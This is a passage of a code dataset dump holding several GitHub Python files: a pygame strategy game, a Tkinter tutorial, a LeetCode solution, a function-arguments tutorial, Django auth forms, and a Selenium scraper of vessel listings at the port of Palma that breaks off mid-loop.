+ 20, intro_rect.h + 20))\n screen.blit(string_rendered, intro_rect)\n\n\ndef start_menu():\n index = 0\n draw_start_menu(index)\n run = True\n while run:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n terminate()\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_ESCAPE:\n terminate()\n elif event.key == pygame.K_1:\n return 'continue'\n elif event.key == pygame.K_3:\n rules_menu()\n draw_start_menu(index)\n elif event.key == pygame.K_2:\n new_game()\n draw_start_menu(index)\n elif event.key == pygame.K_DOWN:\n index = (index + 1) % 3\n draw_start_menu(index)\n elif event.key == pygame.K_UP:\n index = (index - 1) % 3\n draw_start_menu(index)\n elif event.key == pygame.K_RETURN:\n if index == 0:\n return 'continue'\n elif index == 1:\n return 'new'\n elif index == 2:\n rules_menu()\n draw_start_menu(index)\n pygame.display.flip()\n clock.tick(fps)\n\n\ndef load_game(info):\n global countries_name, x, y, board, countries\n dop = []\n for i in info:\n dop.append(i.replace('\\n', ''))\n info = deepcopy(dop)\n countries_name = info[0].split()\n y, x = map(int, info[1].split())\n board = Board(x, y, MONITOR_width, MONITOR_height, generate_field=False)\n for i in range(y):\n for j in range(x):\n board.set_cell(i, j, info[x * i + j + 2].split()[-1])\n del info[:2 + x * y]\n i = 0\n while info[i] != 'end':\n if info[i].split()[0] in countries_name:\n food, t_food = info[i + 1].split()\n countries.append(Country(info[i], board, pr='SAVE', food=int(food), t_food=int(t_food)))\n else:\n unit = info[i].split()[0]\n if unit == 'Settlers':\n unit, x, y, live = info[i].split()\n if int(live):\n board.init_settlers(countries[-1], int(x), int(y), 'SAVE')\n elif unit == 'Builders':\n unit, x, y, live = info[i].split()\n if int(live):\n board.init_builders(int(x), int(y), countries[-1])\n elif unit == 'Warriors':\n unit, x, y, health = info[i].split()\n if int(health) > 0:\n board.init_warriors(countries[-1], int(x), int(y), health)\n elif unit == 'Town':\n unit, x, y = info[i].split()\n board.init_town(int(x), int(y), countries[-1])\n elif unit == 'Farm':\n unit, x, y = info[i].split()\n board.init_farm(countries[-1], pr='SAVE', x=int(x), y=int(y))\n i += 1\n\n\ndef save_game():\n countries_name = []\n for country in countries:\n countries_name.append(country.name.replace('\\n', ''))\n with open('data/maps/saves.txt', mode='w', encoding='utf-8') as file:\n file.write(' '.join(countries_name))\n file.write('\\n')\n file.write(f'{board.get_size()[0]} {board.get_size()[1]}')\n file.write('\\n')\n for i in range(board.get_count_cells_x()):\n for j in range(board.get_count_cells_y()):\n file.write(f'{i} {j} {board.get_cell(i, j).type}')\n file.write('\\n')\n for country in countries:\n file.write(str(country.name) + '\\n')\n file.write(' '.join([str(country.food), str(country.t_food)]) + '\\n')\n for unit in country.units_towns:\n name = str(unit)\n if 'farm' in name:\n file.write(name + '\\n')\n elif 'Settlers' in name:\n file.write(name + ' ' + str(unit.x) + ' ' + str(unit.y) + ' ' + str(unit.live))\n file.write('\\n')\n elif 'Builders' in name:\n file.write(name + ' ' + str(unit.x) + ' ' + str(unit.y) + ' ' + str(unit.live))\n file.write('\\n')\n elif 'Warriors' in name:\n file.write(name + ' ' + str(unit.x) + ' ' + str(unit.y) + ' ' + str(unit.health))\n file.write('\\n')\n elif 'Town' in name:\n file.write(name + ' ' + str(unit.x) + ' ' + str(unit.y))\n file.write('\\n')\n elif 'Farm' in name:\n file.write(name)\n file.write('\\n')\n file.write('end')\n\n\ndef draw_new_game_menu(active_line, x, y, active_countries, x_warning=False, y_warning=False):\n intro_text = [\"Введите размеры поля\",\n f\"X: {x}\", f\"Y: {y}\",\n \"Выберите страны\", \", \".join(active_countries),\n \"Ознакомиться с инструкцией\",\n \"Начать игру\"]\n screen.fill(pygame.Color('#98FB98'))\n font = pygame.font.Font(None, 70)\n text_coord = 50\n for i, line in enumerate(intro_text):\n if line == \"\":\n continue\n string_rendered = font.render(line, 1, pygame.Color('black'))\n intro_rect = string_rendered.get_rect()\n intro_rect.top = text_coord\n intro_rect.x = 50\n text_coord += 70\n text_coord += intro_rect.height\n if i == active_line and line != \"\":\n pygame.draw.rect(screen, pygame.Color(130, 137, 143),\n (intro_rect.x - 10, intro_rect.y - 10, intro_rect.w + 20, intro_rect.h + 20))\n screen.blit(string_rendered, intro_rect)\n if \"X\" in line and x_warning:\n print(x_warning, line, i)\n x_coord = intro_rect.w + intro_rect.x + 20\n string_warning = font.render(x_warning, 1, pygame.Color('red'))\n intro_rect = string_warning.get_rect()\n text_coord -= 120\n intro_rect.top = text_coord\n intro_rect.x = x_coord\n text_coord += intro_rect.height\n screen.blit(string_warning, intro_rect)\n text_coord += 70\n elif \"Y\" in line and y_warning:\n print(y_warning, line, i)\n y_coord = intro_rect.w + intro_rect.x + 20\n string_warning = font.render(y_warning, 1, pygame.Color('red'))\n intro_rect = string_warning.get_rect()\n text_coord -= 120\n intro_rect.top = text_coord\n intro_rect.x = y_coord\n text_coord += intro_rect.height\n screen.blit(string_warning, intro_rect)\n text_coord += 70\n\n\ndef draw_countries_menu(info, active_line, text_coord, ok, no):\n font = pygame.font.Font(None, 70)\n screen.fill(pygame.Color('#98FB98'))\n for i, line in enumerate(info[:-1]):\n string_rendered = font.render(line.split()[0], 1, pygame.Color('black'))\n intro_rect = string_rendered.get_rect()\n intro_rect.top = text_coord\n intro_rect.x = 50\n if i == active_line and line != \"\":\n pygame.draw.rect(screen, pygame.Color(130, 137, 143),\n (intro_rect.x - 10, intro_rect.y - 10, intro_rect.w + 20, intro_rect.h + 20))\n screen.blit(string_rendered, intro_rect)\n pygame.draw.rect(screen, pygame.Color(line.split()[1]),\n (intro_rect.x + intro_rect.w + 20, intro_rect.y, intro_rect.h, intro_rect.h))\n text_coord += 70\n text_coord += intro_rect.height\n if line.split()[-1] == 'no':\n no = pygame.transform.scale(no, (intro_rect.h, intro_rect.h))\n screen.blit(no, (intro_rect.x + intro_rect.w + intro_rect.h + 40, intro_rect.y,\n intro_rect.h, intro_rect.w))\n elif line.split()[-1] == 'yes':\n ok = pygame.transform.scale(ok, (intro_rect.h, intro_rect.h))\n screen.blit(ok, (intro_rect.x + intro_rect.w + intro_rect.h + 40, intro_rect.y,\n intro_rect.h, intro_rect.w))\n\n\ndef countries_menu():\n info = []\n ok = load_image('ok.png', -1)\n no = load_image('no.png', -1)\n with open('data/buildings/colors.txt', 'r', encoding='utf-8') as file:\n for i in file.readlines():\n info.append(i[:-1] + ' no')\n text_coord = 50\n draw_countries_menu(info, 0, text_coord, ok, no)\n index = 0\n while True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n return\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_DOWN:\n index = (index + 1) % len(info)\n elif event.key == pygame.K_UP:\n index = (index - 1) % len(info)\n elif event.key == pygame.K_ESCAPE:\n dop = []\n for i in info:\n if i.split()[-1] == 'yes':\n dop.append(i.split()[0])\n return dop\n elif event.key == pygame.K_RETURN:\n info[index] += ' yes'\n elif event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 5:\n text_coord -= 20\n if text_coord <= -1420:\n text_coord += 20\n elif event.button == 4:\n text_coord += 20\n if text_coord >= 70:\n text_coord -= 20\n draw_countries_menu(info, index, text_coord, ok, no)\n pygame.display.flip()\n clock.tick(fps)\n\n\ndef new_game():\n global x, y, size, board, countries, i\n x, y, size = 0, 0, 0\n countries = []\n index = 0\n active_countries = []\n k = 0\n draw_new_game_menu(0, x, y, active_countries)\n run = True\n x_warning, y_warning = False, False\n while run:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n return\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_ESCAPE:\n start_menu()\n elif event.key == pygame.K_DOWN:\n index = (index + 1) % (6 + k)\n elif event.key == pygame.K_UP:\n index = (index - 1) % (6 + k)\n elif event.key == pygame.K_BACKSPACE:\n if index == 1:\n x //= 10\n elif index == 2:\n y //= 10\n elif event.key == pygame.K_RETURN:\n if index == 1:\n if x > 400 or x <= 4:\n x_warning = 'Недопустимое значение X. Диапозон от 5 до 400'\n else:\n x_warning = 'Ок'\n elif index == 2:\n if y > 400 or y <= 4:\n y_warning = 'Недопустимое значение Y. Диапозон от 5 до 400'\n else:\n y_warning = 'Ок'\n elif index == 3:\n active_countries = countries_menu()\n if len(active_countries):\n k = 1\n else:\n k = 0\n elif index == 4 + k:\n rules_new_game()\n elif index == 6 or index == 5:\n if 4 < x <= 400 and 4 < y <= 400 and len(active_countries):\n board = Board(x, y, MONITOR_width, MONITOR_height)\n try:\n for i in active_countries:\n countries.append(Country(i, board))\n except NameError:\n countries = []\n for i in active_countries:\n countries.append(Country(i, board))\n size = 60\n return\n else:\n char = button_pressed(event)\n if char:\n if char.isdigit():\n if index == 1:\n x *= 10\n x += int(char)\n elif index == 2:\n y *= 10\n y += int(char)\n draw_new_game_menu(index, x, y, active_countries, x_warning, y_warning)\n pygame.display.flip()\n clock.tick(fps)\n\n\ndef draw_pause_menu(active_line):\n font = pygame.font.Font(None, 70)\n screen.fill(pygame.Color('#98FB98'))\n text_coord = MONITOR_height // 3\n info = ['Продолжить', 'Главное меню', 'Выход']\n for i, line in enumerate(info):\n string_rendered = font.render(line.split()[0], 1, pygame.Color('black'))\n intro_rect = string_rendered.get_rect()\n intro_rect.top = text_coord\n intro_rect.x = MONITOR_width // 2 - 150\n text_coord += 70\n if i == active_line and line != \"\":\n pygame.draw.rect(screen, pygame.Color(130, 137, 143),\n (intro_rect.x - 10, intro_rect.y - 10, intro_rect.w + 20, intro_rect.h + 20))\n screen.blit(string_rendered, intro_rect)\n\n\ndef pause_menu():\n index = 0\n draw_pause_menu(index)\n run = True\n while run:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n return\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_DOWN:\n index = (index + 1) % 3\n elif event.key == pygame.K_UP:\n index = (index - 1) % 3\n elif event.key == pygame.K_RETURN:\n if index == 0:\n board.render(screen)\n elif index == 1:\n save_game()\n start_menu()\n elif index == 2:\n save_game()\n terminate()\n\n\npygame.init()\nMONITOR_width, MONITOR_height = get_size_of_desktop()\nsize = (MONITOR_width, MONITOR_height)\nscreen = pygame.display.set_mode(size, pygame.FULLSCREEN)\nscreen.fill((128, 128, 128))\nfps = 60\nclock = pygame.time.Clock()\nmode = start_menu()\nx, y, size = None, None, None\nboard = None\ncountries = []\nif mode == 'continue':\n with open('data/maps/saves.txt', encoding='utf-8') as file:\n info = file.readlines()\n if 'No saves' in info[0]:\n new_game()\n else:\n load_game(info)\nelif mode == 'new':\n new_game()\nrunning = True\nMOUSEMOTION = False\nMOUSE_BUTTON_PRESSED = False\nK_MOVE = 2\nx, y = 0, 0\ni = 0\nboard.active_country = countries[i]\nwhile running:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n save_game()\n elif event.type == pygame.MOUSEBUTTONDOWN:\n MOUSE_BUTTON_PRESSED = True\n x, y = event.pos\n if event.button == 1:\n board.button_pressed(*event.pos)\n elif event.button == 4:\n board.zoom(1)\n elif event.button == 5:\n board.zoom(-1)\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_ESCAPE:\n save_game()\n terminate()\n elif event.key == pygame.K_SPACE:\n board.init_town(-1, -1, countries[i])\n elif event.key == pygame.K_1:\n board.init_settlers(countries[i])\n elif event.key == pygame.K_2:\n board.init_builders()\n elif event.key == pygame.K_f:\n board.init_farm(countries[i])\n elif event.key == pygame.K_3:\n board.init_warriors(countries[i])\n elif event.key == pygame.K_a:\n board.activate_battle_mode()\n elif event.key == pygame.K_h:\n board.heal()\n elif event.key == pygame.K_RETURN:\n countries[i].next_move()\n i = (i + 1) % len(countries)\n board.next_move(countries[i])\n elif event.type == pygame.MOUSEBUTTONUP:\n MOUSE_BUTTON_PRESSED = False\n MOUSEMOTION = False\n elif event.type == pygame.MOUSEMOTION and MOUSE_BUTTON_PRESSED:\n dop_x, dop_y = event.pos[0] - x, event.pos[1] - y\n x, y = event.pos\n board.move(dop_x / K_MOVE, dop_y / K_MOVE)\n MOUSEMOTION = True\n clock.tick(fps)\n screen.fill((0, 0, 0))\n board.render(screen)\n countries[i].render(screen, MONITOR_width, MONITOR_height)\n pygame.display.flip()\npygame.quit()\n","repo_name":"iliager007/PygameCivProject","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":19835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"18614655274","text":"# -*- coding: utf-8 -*-\n\n# 图形界面\n\t# 支持图形界面的第三方库:TK wxWidgets Qt GTK\n\t# python自带的库,支持Tk的Tkinter \n\t\n# Tkinter \n\t# 我们编写的Python代码会调用内置的Tkinter,Tkinter封装了访问Tk的接口\n\t# Tk是一个图形库,支持多个操作系统,使用Tcl语言开发\n\t# Tk会调用操作系统提供的本地GUI接口,完成最终的GUI\n\t\n# 编写一个GUI版本的“Hello, world!”\nfrom Tkinter import *\t\t# 导入Tkinter包的所有内容:(3.x使用小写: tkinter,2.7使用大写Tkinter)\n\nclass Application(Frame):\t# 从Frame派生一个Application类,这是所有Widget的父容器\n\tdef __init__(self, master = None):\n\t\tFrame.__init__(self, master)\n\t\tself.pack()\n\t\tself.createWidgets()\n\t\t\n\tdef createWidgets(self):\n\t\tself.helloLabel = Label(self, text = 'Hello, world!')\n\t\tself.helloLabel.pack()\n\t\tself.quitButton = Button(self, text = 'Quit', command = self.quit)\n\t\tself.quitButton.pack()\n\t\t\n# 在GUI中,每个Button、Label、输入框等,都是一个Widget。Frame则是可以容纳其他Widget的Widget\n# 所有的Widget组合起来就是一棵树\n# pack()方法把Widget加入到父容器中,并实现布局。pack()是最简单的布局,grid()可以实现更复杂的布局\n# 在createWidgets()方法中,我们创建一个Label和一个Button,当Button被点击时,触发self.quit()使程序退出\n\n# 实例化Application,并启动消息循环:\napp = Application()\napp.master.title('Hello World!')\t# 设置窗口标题:\napp.mainloop()\t# 主消息循环\n\n# GUI程序的主线程负责监听来自操作系统的消息,并依次处理每一条消息。因此,如果消息处理非常耗时,就需要在新线程中处理\n\n# 点击“Quit”按钮或者窗口的“x”结束程序\n# input('pause')\n\n\n# 输入文本\n# 再对这个GUI程序改��一下,加入一个文本框,让用户可以输入文本,然后点按钮后,弹出消息对话框\nfrom Tkinter import *\n# import Tkinter.messagebox as messagebox\nimport tkMessageBox as messagebox\n\nclass Application2(Frame):\n\tdef __init__(self, master = None):\n\t\tFrame.__init__(self, master)\n\t\tself.pack()\n\t\tself.createWidgets()\n\t\t\n\tdef createWidgets(self):\n\t\tself.nameInput = Entry(self)\n\t\tself.nameInput.pack()\n\t\tself.alertButton = Button(self, text = 'Hello', command = self.hello)\n\t\tself.alertButton.pack()\n\t\t\n\tdef hello(self):\n\t\tname = self.nameInput.get() or 'world'\n\t\tmessagebox.showinfo('Message', 'Hello, %s' % name)\n\t\t\napp2 = Application2()\napp2.master.title('Hello World')\napp.mainloop()\n\n# 当用户点击按钮时,触发hello(),通过self.nameInput.get()获得用户输入的文本后,使用tkMessageBox.showinfo()可以弹出消息对话框。\n\n## Python内置的Tkinter可以满足基本的GUI程序的要求,如果是非常复杂的GUI程序,建议用操作系统原生支持的语言和库来编写\n\n\t","repo_name":"ywang2014/ProgramLearning","sub_path":"python/python-Michael/GUI/helloworld.py","file_name":"helloworld.py","file_ext":"py","file_size_in_byte":2876,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"30807392315","text":"class Solution:\n def sortedSquares(self, nums: List[int]) -> List[int]:\n left, right = 0, len(nums) - 1\n res = [0] * len(nums)\n index = len(nums) - 1\n while left <= right:\n if nums[left] * nums[left] > nums[right] * nums[right]:\n res[index] = nums[left] * nums[left]\n left += 1\n else:\n res[index] = nums[right] * nums[right]\n right -= 1\n index -= 1\n return res","repo_name":"qinhanhu/leetcode","sub_path":"l977_squares_of_sorted_array.py","file_name":"l977_squares_of_sorted_array.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"22771794728","text":"\n# * Defining a function capable of taking an arbitrary number of arguments can be done by prefixing one of the arguments with a *\n\n\n# * args will be a tuple containing all values that are passed in\ndef func(*args):\n for i in args:\n print(i)\n\n\nfunc(1, 2, 3) # Calling it with 3 arguments\n\nlist_of_arg_values = [1, 2, 3]\nfunc(*list_of_arg_values) # Calling it with list of values, * expands the list\n\nfunc(*(1, 2, 3))\nfunc(*[1, 2, 3])\nfunc(*{1, 2, 3})\nfunc()\n\n# * You can't provide a default for args, for example func(*args=[1, 2, 3]) will raise a syntax error (won't even compile).\n\n# * You can take an arbitrary number of arguments with a name by defining an argument in the definition with two * in front of it:\n\n\ndef func(**kwargs):\n # kwargs will be a dictionary containing the names as keys and the values as values\n for name, value in kwargs.items():\n print(name, value)\n\n\nfunc(value1=1, value2=2, value3=3) # Calling it with 3 arguments\n# Out: value1 1\n# value2 2\n# value3 3\nfunc() # Calling it without arguments\n# No Out put\nmy_dict = {'foo': 1, 'bar': 2}\nmy_dict2 = {'foo2': 1, 'bar2': 2}\nfunc(**my_dict, **my_dict2) # Calling it with a dictionary\n# Out: foo 1\n# bar 2\n\n# ! You can't provide these without names, for example func(1, 2, 3) will raise a TypeError.\n# func(1, 2, 2)\n\n# * You can mix these with other optional and required arguments but the order inside the definition matters.\n\n# The positional/keyword arguments come first. (Required arguments).\n# Then comes the arbitrary *arg arguments. (Optional).\n# Then keyword-only arguments come next. (Required).\n# Finally the arbitrary keyword **kwargs come. (Optional).\n\n\ndef func(arg1, arg2=10, *args, kwarg1, kwarg2=2, **kwargs):\n pass\n\n# * arg1 must be given, otherwise a TypeError is raised. It can be given as positional (func(10)) or keyword argument (func(arg1=10)).\n\n# * kwarg1 must also be given, but it can only be provided as keyword-argument: func(kwarg1=10).\n\n# * arg2 and kwarg2 are optional. If the value is to be changed the same rules as for arg1 (either positional or keyword) and kwarg1 (only keyword) apply.\n\n# *args catches additional positional parameters. But note, that arg1 and arg2 must be provided as positional arguments to pass arguments to *args: func(1, 1, 1, 1).\n\n# **kwargs catches all additional keyword parameters. In this case any parameter that is not arg1, arg2, kwarg1 or kwarg2. For example: func(kwarg3=10).\n\n# * In Python 3, you can use * alone to indicate that all subsequent arguments must be specified as keywords.\n\n# * For instance the math.isclose function in Python 3.5 and higher is defined using def math.isclose (a, b, *, rel_tol=1e-09, abs_tol=0.0), which means the first two arguments can be supplied positionally but the optional third and fourth parameters can only be supplied as keyword arguments.\n\n# ~ Note on Naming\n\n# * The convention of naming optional positional arguments args and optional keyword arguments kwargs is just a convention you can use any names you like but it is useful to follow the convention so that others know what you are doing, or even yourself later so please do.\n\n# ~ Note on Uniqueness\n\n# * Any function can be defined with none or one *args and none or one **kwargs but not with more than one of each. Also *args must be the last positional argument and **kwargs must be the last parameter. Attempting to use more than one of either will result in a Syntax Error exception.\n\n# ~ Note on Nesting Functions with Optional Arguments\n\n# * It is possible to nest such functions and the usual convention is to remove the items that the code has already handled but if you are passing down the parameters you need to pass optional positional args with a * prefix and optional keyword args with a ** prefix, otherwise args with be passed as a list or tuple and kwargs as a single dictionary. e.g.:\n\n\ndef fn(**kwargs):\n print(kwargs)\n f1(**kwargs)\n # f1(kwargs) #! TypeError\n # f1(*kwargs) #! TypeError\n\n\ndef f1(**kwargs):\n print(len(kwargs))\n\n\nfn(a=1, b=2)\n# Out:\n# {'a': 1, 'b': 2}\n# 2\n\n\n# * Optional arguments can be defined by assigning (using =) a default value to the argument-name:\n\ndef make(action='nothing'):\n return action\n\n\n# Calling this function is possible in 3 different ways:\nmake(\"fun\")\n# Out: fun\nmake(action=\"sleep\")\n# Out: sleep\n# The argument is optional so the function will use the default value if the argument is\n# not passed in.\nmake()\n# Out: nothing\n\n\ndef func(lst):\n lst.append(2)\n\n\nmylst = [1, 2, 3]\nfunc(mylst)\nprint(mylst) # [1, 2, 3, 4]\n\n# * argument (actual parameter): the actual variable being passed to a function;\n\n# * parameter (formal parameter): the receiving variable that is used in a function.\n\n# * In Python, arguments are passed by assignment (as opposed to other languages, where arguments can be passed by value/reference/pointer).\n\n# * Mutating a parameter will mutate the argument (if the argument's type is mutable).\n\n\ndef foo(x): # here x is the parameter\n x[0] = 9 # This mutates the list labelled by both x and y\n print(x)\n\n\ny = [4, 5, 6]\nfoo(y) # call foo with y as argument\n# Out: [9, 5, 6] # list labelled by x has been mutated\nprint(y)\n# Out: [9, 5, 6] # list labelled by y has been mutated too\n\n# * Reassigning the parameter won’t reassign the argument.\n\n\ndef foo(x): # here x is the parameter, when we call foo(y) we assign y to x\n x[0] = 9 # This mutates the list labelled by both x and y\n x = [1, 2, 3] # x is now labeling a different list (y is unaffected)\n x[2] = 8 # This mutates x's list, not y's list\n\n\ny = [4, 5, 6] # y is the argument, x is the parameter\nfoo(y) # Pretend that we wrote \"x = y\", then go to line 1\nprint(y)\n# Out: [9, 5, 6]\n\n# * In Python, we don’t really assign values to variables, instead we bind (i.e. assign, attach) variables (considered as names) to objects.\n\n# ^ Immutable: Integers, strings, tuples, and so on. All operations make copies.\n\n# ^ Mutable: Lists, dictionaries, sets, and so on. Operations may or may not mutate.\n\nx = [3, 1, 9]\ny = x\n# Mutates the list labelled by x and y, both x and y are bound to [3, 1, 9]\nx.append(5)\nx.sort() # Mutates the list labelled by x and y (in-place sorting)\nx = x + [4] # Does not mutate the list (makes a copy for x only, not y)\nz = x # z is x ([1, 3, 9, 4])\n# Mutates the list labelled by both x and z (uses the extend function).\nx += [6]\nx = sorted(x) # Does not mutate the list (makes a copy for x only).\nprint(x)\n# Out: [1, 3, 4, 5, 6, 9]\nprint(y)\n# Out: [1, 3, 5, 9]\nprint(z)\n# Out: [1, 3, 5, 9, 4, 6]\n\n\ndef unpacking(a, b, c=45, d=60, *args, **kwargs):\n print(a, b, c, d, args, kwargs)\n\n\nunpacking(1, 2, 3, 4)\n# 1 2 3 4 () {}\nunpacking(1, 2)\n# 1 2 45 60 () {}\nunpacking(1, 2, d=3, c=4)\n# 1 2 4 3 () {}\n\npair = (3, )\nprint(type(pair))\n# Tuple\nunpacking(1, 2, *pair, d=4)\n# 1 2 3 4 () {}\nunpacking(1, 2, d=4, *pair)\n# 1 2 3 4 () {}\nprint(*pair)\n# unpacking(1, 2, *pair, c=4)\n# unpacking(1, 2, c=4, *pair)\n# ! TypeError: unpacking() got multiple values for argument 'c'\n# We assigned c=4 but then again pair will assign 3\n\npair = (3, 4)\n# unpacking(1, 2, *pair, d=4)\n# ! TypeError: unpacking() got multiple values for argument 'd'\n# We assigned 4 to d using pair but then we again try to assign using d=4\n\narg_dict = {'c': 3, 'd': 4, 'not_a_parameter': 75}\nunpacking(1, 2, **arg_dict)\n# 1 2 3 4 () {'not_a_parameter': 75}\n\n# unpacking(1, 2, *pair, **arg_dict)\n# ! TypeError: unpacking() got multiple values for argument 'c'\n\narg_dict = {'d': 4, 'not_a_parameter': 75}\n# unpacking(1, 2, *pair, **arg_dict)\n# ! TypeError: unpacking() got multiple values for argument 'd'\n\n# unpacking(1, 2, 3, c=4)\n# ! TypeError: unpacking() got multiple values for argument 'c'\n","repo_name":"PRINCE-DHAMECHA/python","sub_path":"019_Functions/03_Argument.py","file_name":"03_Argument.py","file_ext":"py","file_size_in_byte":7734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"71379442952","text":"from django import forms\nfrom django.contrib.auth import get_user_model # ユーザーモデルを取得するため\nfrom django.contrib.auth.forms import AuthenticationForm, UserCreationForm, PasswordChangeForm\nfrom django.core.exceptions import ValidationError\nfrom .models import Store\n\n\ndef validate_confirm(store_code):\n if not Store.objects.filter(store_code=store_code).exists():\n raise ValidationError(\n \"正しい店舗コードを入力してください\",\n params={'store_code': store_code},\n )\n \n'''ログイン用フォーム'''\nclass LoginForm(AuthenticationForm):\n employee_id_number = forms.CharField(label=\"社員コード\")\n\n # bootstrap4対応\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.fields['employee_id_number'].label = \"社員コード\"\n for field in self.fields.values():\n field.widget.attrs['class'] = 'form-control'\n field.widget.attrs['placeholder'] = field.label # placeholderにフィールドのラベルを入れる\n\n\n\n'''サインアップ用フォーム'''\nclass SignupForm(UserCreationForm):\n username = forms.CharField(label=\"ユーザー名\")\n email = forms.EmailField(label=\"メールアドレス\")\n store_code = forms.CharField(label=\"店舗コード\", validators=[validate_confirm])\n employee_id_number = forms.CharField(label=\"社員コード\")\n\n class Meta:\n model = get_user_model()\n fields = ('username', 'employee_id_number', 'store_code', 'email')\n\n def __init__(self, *args, **kwargs):\n\n super().__init__(*args, **kwargs)\n for field in self.fields.values():\n field.widget.attrs['class'] = 'form-control'\n field.widget.attrs['required'] = '' # 全フィールドを入力必須\n\n # オートフォーカスとプレースホルダーの設定\n print(field.label)\n # if field.label == '姓':\n # field.widget.attrs['autofocus'] = '' # 入力可能状態にする\n # field.widget.attrs['placeholder'] = '田中'\n # elif field.label == '名':\n # field.widget.attrs['placeholder'] = '一郎'\n # elif field.label == 'メールアドレス':\n # field.widget.attrs['placeholder'] = '***@gmail.com'\n \n\n'''ユーザー情報更新用フォーム'''\nclass UserUpdateForm(forms.ModelForm):\n position = forms.ChoiceField(\n choices=[\n ('chick', 'ひよっこ'),\n ('kitchen', 'キッチン'),\n ('floor', 'フロア'),\n ('all', 'オール'),\n ],\n widget=forms.Select(attrs={'id': 'category_select'}),\n required=True,\n label=\"ポジション\",\n )\n\n username = forms.CharField(label=\"ユーザー名\")\n email = forms.EmailField(label=\"メールアドレス\")\n store_code = forms.CharField(label=\"店舗コード\", validators=[validate_confirm])\n employee_id_number = forms.CharField(label=\"社員コード\")\n \n class Meta:\n model = get_user_model()\n fields = ('username', 'email', 'store_code', 'employee_id_number', 'position')\n\n # bootstrap4対応\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n for field in self.fields.values():\n field.widget.attrs['class'] = 'form-control'\n field.widget.attrs['required'] = '' # 全フィールドを入力必須\n \n\n'''パスワード変更フォーム'''\nclass MyPasswordChangeForm(PasswordChangeForm):\n\n # bootstrap4対応で、classを指定\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n for field in self.fields.values():\n field.widget.attrs['class'] = 'form-control'","repo_name":"carbohydratepro/work","sub_path":"auth_app/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3826,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"12043673993","text":"# -*- coding: utf-8 -*-\n\n\nimport csv\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.common.exceptions import NoSuchElementException\nimport time\nimport re\n\n#url=\"https://www.marinetraffic.com/en/data/?asset_type=vessels&columns=flag,shipname,photo,recognized_next_port,reported_eta,reported_destination,current_port,imo,ship_type,show_on_live_map,time_of_latest_position,lat_of_latest_position,lon_of_latest_position,notes¤t_port_in|begins|ROSES|current_port_in=19814\"\n\nurl=\"https://www.marinetraffic.com/en/data/?asset_type=vessels&columns=flag,shipname,photo,recognized_next_port,reported_eta,reported_destination,current_port,imo,ship_type,show_on_live_map,time_of_latest_position,lat_of_latest_position,lon_of_latest_position,notes¤t_port_in|begins|PALMA%20DE%20MALLORCA|current_port_in=75\"\n\ndriver = webdriver.Chrome()\ndriver.implicitly_wait(4)\nfirst = True\n\ndef formataSortida(noms,imos,llarg):\n\ta = []\n\tfor (n,i,l) in zip(noms, imos, llarg):\n\t\tlink =\"https://www.google.com/search?q=intext:\\\"\"+str(n)+\"\\\" intext:\"+str(i) \n\t\ta.append({\"Nom\":n, \"IMO\":i, \"Llargada en metres\": l, \"Link Info\": link})\n\treturn a\n\ndef obtepags():\n\tnum = 0\n\tdriver.get(url)\n\t# Acceptar les cookies\n\telem = driver.find_elements_by_class_name(\"qc-cmp-button\")\n\ttime.sleep(2)\n\tfor e in elem:\n\t\tif e.text == \"I ACCEPT\":\n\t\t\t#print(\"[X]\tAcceptant Cookies...\")\n\t\t\te.click()\n\ttime.sleep(4)\n\telems = driver.find_elements_by_tag_name(\"p\")\n\tfor e in elems:\n\t\tif \"of\" in e.text:\n\t\t\tnum = int(e.text.split()[1])\n\t\t\tprint (\"Tenim \" + str(num*20) + \" vaixells al port de Palma\")\n\treturn num\n\nnum_pag=obtepags()\nnum_vaixells=num_pag*20\nnbarco=0\nit = 0\nnoms=[]\nimos=[]\nllarg=[]\nprint(\"[+] BUSCADOR DE VAIXELLS AL PORT DE PALMA DE MALLORCA\")\nfor p in range(0,num_pag): #Tenim obtepags numero de pagines\n\tdriver.get(url)\n\t\n# Acceptar les cookies\n\ttime.sleep(2)\n\telem = driver.find_elements_by_class_name(\"qc-cmp-button\")\n\tfor e in elem:\n\t\tif e.text == \"I ACCEPT\":\n\t\t#\tprint(\"[X]\tAcceptant Cookies...\")\n\t\t\te.click()\n#Itero tots els botons fins que trobo el de canviar la pàgina. No ho faig a la primera pagina\n\telem = driver.find_elements_by_tag_name(\"button\")\n\t#print(str(len(elem)))\n\tfor e in elem:\n\t#\tprint(e)\n\t\t#if not first and \"Next page\" in e.get_attribute(\"title\"):\n\t\t#\tprint(\"[X]\tCanviant la pagina...\")\n\t\t#\te.click()\n\t\t#\tfirst=False\n\t\t#print (e.get_attribute(\"title\"))\t\n\t\tif \"Next page\" in e.get_attribute(\"title\"):\n\t\t\t#print(\"[X]\tCanviant a la pagina... \" + str(p+1))\n\t\t\tfor i in 